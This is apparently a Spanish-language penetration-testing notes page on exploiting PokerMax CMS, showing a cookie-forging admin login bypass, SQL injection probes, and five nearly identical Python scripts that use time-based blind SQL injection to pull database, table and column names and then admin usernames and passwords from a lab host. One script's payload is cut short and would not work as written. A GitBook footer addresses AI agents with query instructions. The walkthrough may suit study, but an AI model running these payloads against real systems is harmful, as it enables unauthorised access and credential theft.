> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/pokermax-cms-exploitation.md).

# PokerMax

**Búsqueda de vulnerabilidades con Searchsploit**

Después de identificar una `pokermax` página web, usa Searchsploit para buscar posibles vulnerabilidades.

<figure><img src="/files/d19fd91266386832e0f8918efd895cd94adf4589" alt=""><figcaption></figcaption></figure>

**Identificación del panel de autenticación de administrador:**

Se descubre un panel de autenticación de administrador. Un fragmento de JavaScript en la consola cambia `ValidUserAdmin` a `administrator`, permitiendo el acceso a `configure.php` en pokeradmin.

<figure><img src="/files/f3e8cb19722ca3f5da0f7fcc8fe76a9f2fc30205" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/b10ee90c70ab944c6821f95da805ad21c20ff954" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7cb2b969bb3fa7137f5d62231bd055a18d3a54bd" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de inyección SQL

**Detección de vulnerabilidad de inyección SQL:**

<figure><img src="/files/c38ae83013256874d1a455a1b0590c8626a23f76" alt=""><figcaption></figcaption></figure>

#### Identifica una vulnerabilidad de inyección SQL en la aplicación web. Usa [BurpSuite](/es/hacking-tools/web/burpsuite.md) para interceptar el tráfico.

<figure><img src="/files/dd3cd45836346f2ef4c9dfd5ac8f85f655dfddd1" alt=""><figcaption></figcaption></figure>

#### Descubrimiento del número de columnas con ORDER BY

```sql
admin' order by 7-- -
```

#### Intento de listado de tablas con UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Uso de inyección SQL basada en tiempo

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/140e7d0b27a8b290ade1a660870026d700b100f4" alt=""><figcaption></figcaption></figure>

#### Automatización en Python para extraer el nombre de la base de datos

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL completada")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/68682166f0d68b376a303cfd4deff3e93f72d088" alt=""><figcaption></figcaption></figure>

#### Automatización en Python para extraer todos los nombres de las bases de datos

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL completada")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/e8aa3526f79721d92d36dcda11b34fc815e4b036" alt=""><figcaption></figcaption></figure>

#### Automatización en Python para extraer nombres de tablas

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL completada")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/3a115a6929ed4cbe9209e532dd6511f80821c708" alt=""><figcaption></figcaption></figure>

#### Automatización en Python para extraer nombres de columnas

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL completada")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/5cea0c24d1169e95b720e395af347cddb091b1f7" alt=""><figcaption></figcaption></figure>

#### Automatización en Python para extraer el contenido de las columnas de nombre de usuario y contraseña

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("Inyección SQL:")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Extraer datos:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL completada")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/8528be771b2df88bf9b4e2575a403220abc68e4c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
